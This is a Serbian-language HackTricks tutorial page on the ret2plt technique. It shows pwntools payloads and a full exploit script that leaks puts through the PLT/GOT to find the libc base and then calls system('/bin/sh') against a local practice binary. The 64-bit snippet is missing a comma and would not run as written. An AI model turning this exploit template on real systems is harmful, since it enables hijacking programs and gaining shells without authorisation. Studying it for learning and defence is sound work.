Ret2plt

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Cilj ove tehnike bio bi procuriti adresu funkcije iz PLT-a kako biste mogli zaobići ASLR. Ovo je zato što ako, na primer, procurite adresu funkcije puts iz libc-a, možete zatim izračunati gde je baza libc-a i izračunati ofsete za pristup drugim funkcijama poput system.

Ovo se može uraditi sa pwntools payload-om kao što je (ovde):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Primetite kako se puts (koristeći adresu iz PLT-a) poziva sa adresom puts smeštenom u GOT (Global Offset Table). To je zato što će u trenutku kada puts štampa GOT unos za puts, ovaj unos će sadržati tačnu adresu puts u memoriji.

Takođe primetite kako se adresa main koristi u eksploataciji tako da kada puts završi izvršavanje, binarni poziva main ponovo umesto izlaska (tako da će procurila adresa i dalje biti validna).

Primetite kako je potrebno da binarni fajl nije kompajliran sa PIE ili morate imati pronađenu curenje informacija da biste zaobišli PIE kako biste znali adresu PLT-a, GOT-a i main-a. U suprotnom, prvo morate zaobići PIE.

Možete pronaći potpuni primer ovog zaobilaženja ovde. Ovo je bio konačni eksploatacijski kod iz tog primera:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Ostali primeri & Reference

Last updated